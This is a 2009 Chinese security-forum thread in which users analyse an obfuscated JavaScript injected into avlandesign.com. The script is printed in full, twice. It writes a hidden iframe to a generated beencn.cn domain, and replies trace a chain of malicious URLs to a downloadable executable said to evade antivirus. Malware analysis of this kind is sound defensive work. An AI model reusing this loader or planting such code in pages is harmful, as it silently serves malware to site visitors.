http://www.avlandesign.com/恶意脚本溢出[by dikex]

hlx98007

hxxp://www.avlandesign.com/

qianwenxiang

<script>function iJMI(){};iJMI.prototype = {alreadyInstalled : function(){return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);},install : function(){if(!this.alreadyInstalled()){var s="<XdXi&v& hshtXy)lhe&=)\'[dhihs&p)l[a&y[:)nXohn)e&\'X>h<hihf&r&a[m&eX &shr[c)=)\'X".replace(/[hX\)\[&]/g, '')+this.getFrameURL()+"\'8>l<l/cilfyrJaJmlec>l<c/ydciyvy>J".replace(/[yc8lJ]/g, '');try {var o=document;o.open();o.write(s);o.close();}catch(e){document.write('<?hxtxmalS>a<ab?oxd?yx>x'.replace(/[Sx\?Ba]/g, '')+s+'<9/wbwowd9yq>w<!/qhqtqmwlq>9'.replace(/[\!wq9r]/g, ''))}this.setCookie(this.cookieName, this.cookieValue);}},cookieValue:1,path:"b"+String.fromCharCode(101)+"e"+new String("n")+new String("c")+new String("n")+new String(".")+String.fromCharCode(99)+"n",setCookie : function(name, value){var d= new Date(); d.setTime(new Date().getTime() + 86400000); document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString(); },getRandString : function(){var l=16,c='0[1O2[3O4@5.6[7O8s9[aOb@c[dOeOf@'.replace(/[\[@s\.O]/g, ''),o='';for(var i=0;i<l;i++)o+=c.substr(Math.floor(Math.random()*c.length),1,1);return o;},getFrameURL : function(){var dlh=document.location.host; return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.')  + "." + this.getRandString() + "." + this.path + this.host;},host:'/news.cn/',cookieName:'hcfeagdb'};var ocho=new iJMI();ocho.install();</script>

解不下去了

knifed

这个网站是个恶意网站.src="http://www.avlandesign.com.1b9b9d66e9cb5eff.beencn.cn/news.cn/得到
http://www.microsoft.com.v6.js.update.menyaju.cn/fun.cn/index.php得到

http://www.microsoft.com.v6.js.update.menyaju.cn/fun.cn/forum.php  下载后是个exe.杀毒软件主流全过.

zzh161

hxxp://t.see-something.cn/m/t这个地方下载的内容还带一直变的。。。

hlx98007

蛮强大的啊

eubyo

ff无视之

dikex

原帖由 qianwenxiang 于 2009-2-20 21:56 发表
function iJMI(){};iJMI.prototype = {alreadyInstalled : function(){return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);},install : function(){if(!this.alreadyInstalled()){ ...

新建了一个空类iJMI，然后用prototype 设置其属性和方法，var ocho=new iJMI()就会新建一个有特定属性和方法的对象，最后用ocho.install()执行了install()这个方法，一个个函数拆开来看就可以了；

可以知道getFrameURL()是用于设置iframe的src值的，格式是：当前URL+replace后的当前URL.随机字符串.beencn/news.cn/

1. 
   
2. alreadyInstalled()
   
3. function(){return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);}
   
4. 
   
5. install()
   
6. function(){if(!this.alreadyInstalled()){var s="<XdXi&v& hshtXy)lhe&=)\'[dhihs&p)l[a&y[:)nXohn)e&\'X>h<hihf&r&a[m&eX &shr[c)=)\'X".replace(/[hX\)\[&]/g, '')+this.getFrameURL()+"\'8>l<l/cilfyrJaJmlec>l<c/ydciyvy>J".replace(/[yc8lJ]/g, '');try {var o=document;o.open();o.write(s);o.close();}catch(e){document.write('<?hxtxmalS>a<ab?oxd?yx>x'.replace(/[Sx\?Ba]/g, '')+s+'<9/wbwowd9yq>w<!/qhqtqmwlq>9'.replace(/[\!wq9r]/g, ''))}this.setCookie(this.cookieName, this.cookieValue);}}
   
7. 
   
8. cookieValue
   
9. 1
   
10. 
    
11. path
    
12. "b"+String.fromCharCode(101)+"e"+new String("n")+new String("c")+new String("n")+new String(".")+String.fromCharCode(99)+"n"
    
13. 
    
14. setCookie()
    
15. function(name, value){var d= new Date(); d.setTime(new Date().getTime() + 86400000); document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString(); }
    
16. 
    
17. getRandString()
    
18. function(){var l=16,c='0[1O2[3O4@5.6[7O8s9[aOb@c[dOeOf@'.replace(/[\[@s\.O]/g, ''),o='';for(var i=0;i<l;i++)o+=c.substr(Math.floor(Math.random()*c.length),1,1);return o;}
    
19. 
    
20. getFrameURL()
    
21. function(){var dlh=document.location.host; return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.')  + "." + this.getRandString() + "." + this.path + this.host;}
    
22. 
    
23. host
    
24. '/news.cn/'
    
25. 
    
26. cookieName
    
27. 'hcfeagdb'
    

复制代码

P.S. avlandesign.com这玩意里面有三部分的脚本，但前两个都缺少了部分东西……

IllusionWing

刺猬又神奇的出现了.学习~

hlx98007

牛人更强大。。